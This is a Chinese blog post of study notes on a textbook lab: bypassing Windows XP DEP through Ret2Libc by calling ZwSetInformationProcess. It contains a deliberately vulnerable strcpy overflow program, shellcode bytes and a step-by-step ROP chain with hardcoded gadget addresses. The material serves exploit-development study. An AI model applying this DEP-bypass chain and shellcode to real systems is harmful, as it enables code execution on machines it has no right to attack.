【学习笔记Ⅰ】Chapter12.3 利用Ret2Libc 挑战DEP(实操)

0x00 写在前面

三种绕过 DEP 的 exploit 方法:

  • 通过跳转到 ZwSetInformationProcess 函数将 DEP 关闭后再转入 shellcode 执行;
  • 通过跳转到 VirtualProtect 函数来将 shellcode 所在内存页设置为可执行状态,然后再转入 shellcode 执行;

  • 通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行。

0x10 Ret2Libc 实战之利用 ZwSetInformationProcess

一个进程的 DEP 设置标识保存在 KPROCESS 结构中的 _KEXECUTE_OPTIONS 上,而这个标识可以通过API函数 ZwQueryInformationProcess 和 ZwSetInformationProcess 进行查询和修改。

由于自己构造参数调用 ZwQueryInformationProcess 函数会出现问题(包含 0x00 截断字符),所以直接利用系统中已存在的关闭进程 DEP 的调用,利用它构造参数来关闭进程的 DEP。

微软为考虑兼容性设置了 LdrpCheckNXCompatibility 函数,当符合以下条件之一时进程的 DEP 就会被关闭:

  • 当 DLL 受 SafeDisc 版权保护系统保护时;
  • 当 DLL 包含有.aspcak、.pcle、.sforce 等字节时;
  • Windows Vista 下当 DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识出不需要启动 DEP 的模块时。

模拟第一种情况,首先来研究下 LdrpCheckNXCompatibility 关闭 DEP 的流程:

 思路:

  • 需要一个指令将 AL 修改为1;
  • 转入 0x7C93CD24,调用 ZwQueryInformationProcess 关闭 DEP;
  • RETN 4 后转到我们的shellcode 。

在下列代码基础上进行调试修改。利用最简单的缓冲区溢出的原理,覆盖掉函数 test() 的返回地址(181-184字节)

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
;

void test()
{
    char tt[176];
    strcpy(tt,shellcode);
}
int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();
    return 0;
}

Step1:将 AL 修改为1

使用 OllyFindAddr 插件的 Disable DEP→Disable DEP <=XP SP3 搜索,结果中的 Step2 部分就是类似 MOV AL, 1 RETN 的指令。

修改 shellcode 如下:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
;

Step2:转入 0x7C93CD24,调用 ZwQueryInformationProcess 关闭 DEP

charshellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
"……" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" "\x52\xE2\x92\x7C"//MOV EAX,1 RETN 地址 "\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置 ;

编译后在OD中重新加载程序,Ctrl + G 搜索指令 MOV EAX,1 RETN,断点执行后发现 EBP 在栈溢出的时候被冲刷了,因此无法继续执行关闭 DEP 的代码:

因此在转入 0x7C93CD24 之前,需要先将 EBP 指向一个可写的位置:

再次使用 OllyFindAddr 插件,在 Disable DEP <=XP SP3 搜索结果的 Setp3 部分查看类似PUSH ESP POP EBP RETN 的指令。

选用 0x5D1D8B85 处的 PUSH ESP POP EBP RETN 04 指令来修正 EBP,修改后的shellcode 如下:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D" //修正 EBP
"\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置
;

重新编译后在 OD 中加载程序,在修正完 EBP 之后(即执行完 PUSH ESP POP EBP RETN 04 指令),程序成功转入 0x7C93CD24 关闭 DEP 代码的起始位置。

F8 单步调试至关闭 DEP 的函数 CALL ntdll.ZwSetInformationProcess,内存地址7C95683B处。[EBP-4] 中的内容已被修改为 0x22,满足关闭 DEP 的条件。

继续执行至ntdll.ZwSetInformationProcess 函数内,在 RETN 4 之后我们失去了程序的控制权。因此,分析断点 RETN 4 处的堆栈情况:ESP 指针指向 0x04(关闭 DEP 时 PUSH 4 操作冲刷的结果)

所以我们不能简单地在修正 EBP 后直接关闭 DEP,还需要对 ESP 或者 EBP 进行调整。

一般来说当 ESP 值小于 EBP 时,防止入栈时破坏当前栈内内容的调整方法不外乎减小 ESP 和增大 EBP。但由于 shellcode 位于内存低址,所以减小 ESP 可能会破坏 shellcode 的完整性,同时又找不到增大 EBP 的指令。

文中选用带偏移量的 RETN 指令来达到增大 ESP 的目的,让 EBP 和 ESP 之间的空间足够大,这样关闭 DEP 过程中的压栈操作就不会冲刷到 EBP 的范围内了

补充:

  • retn 操作:先 eip=esp,然后 esp=esp+4
  • retn N 操作:先 eip=esp,然后 esp=esp+4+N

通过 OllyFindAddr 插件中的 Overflow return address-> POP RETN+N 选项来查找相关指令。文中建议:

  • Count of POP = 0 (不能对 ESP 和 EBP 有直接操作,否则会失去对程序的控制权)
  • Number of Return = 0x28

结果如下,选用 RETN 28 at 0x7c92d26c 

重新布置 shellcode。注意:修正 EBP 指令返回时带有的偏移量(retn 4)会影响后续指令,所以我们在布置 shellcode 的时要加入相应的填充 "\x90\x90\x90\x90"。

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D" //修正 EBP
"\x6C\xD2\x92\x7C" //增大 ESP
"\x90\x90\x90\x90"
"\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置
;

RETN 0x28 执行前后堆栈变化情况:

ESP 从内存地址 0x13FEC0 增大到 0x13FEEC,可防止压栈对 ESP 的冲刷了。

同样单步调试至 RETN 4,堆栈情况如下,执行完 RETN 4 之后 ESP 将指向 0013FEC4

使用跳板指令 JMP ESP 即可重新控制跳转了。

0013FEBC 处的 “90909090” 为增大 ESP 后的填充指令,下一步将其改为 JMP ESP 指令。同样 OllyFindAddr 插件中的Overflow return address→Find CALL/JMP ESP 查找:

选用 JMP ESP at 0x7dd3b1b7,修改 shellcode 如下:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D" //修正 EBP
"\x6C\xD2\x92\x7C" //增大 ESP
"\xB7\xB1\xD3\x7D" //jmp esp
"\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置
;

Step4:RETN 4 后转到我们的shellcode。

在执行完 RETN 4 之后的 ESP 地址 0013FEC4 处放置一个长跳指令,让程序跳转到 shellcode 的起始位置来执行 shellcode。

根据 shellcode 的内存布局,可得 0013FEC4 至 shellcode 起始位置有 200 个字节。因此跳转指令长度为 205 个字节(200 + 5),其余用 x90 填充,最终 shellcode 构造如下:

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x52\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x85\x8B\x1D\x5D" //修正 EBP
"\x6C\xD2\x92\x7C" //增大 ESP
"\xB7\xB1\xD3\x7D" //jmp esp
"\x24\xCD\x93\x7C"//关闭 DEP 代码的起始位置
"\xE9\x33\xFF\xFF" //回跳指令 
"\xFF\x90\x90\x90"
;

成功运行。

借鉴下博客 https://www.cnblogs.com/exclm/p/4006716.html 中对本次实验的总结:

1. 修改寄存器状态,欺骗系统函数关闭 DEP

2. 调用系统函数的过程中,通过跳板、retn等调整寄存器数值(ebp、esp)以保证函数正常执行的变通技巧

实际高度代码并关注寄存器的变化十分重要!

posted @ 2020-03-27 21:07  Gh0stInShell  阅读(337)  评论(0编辑  收藏  举报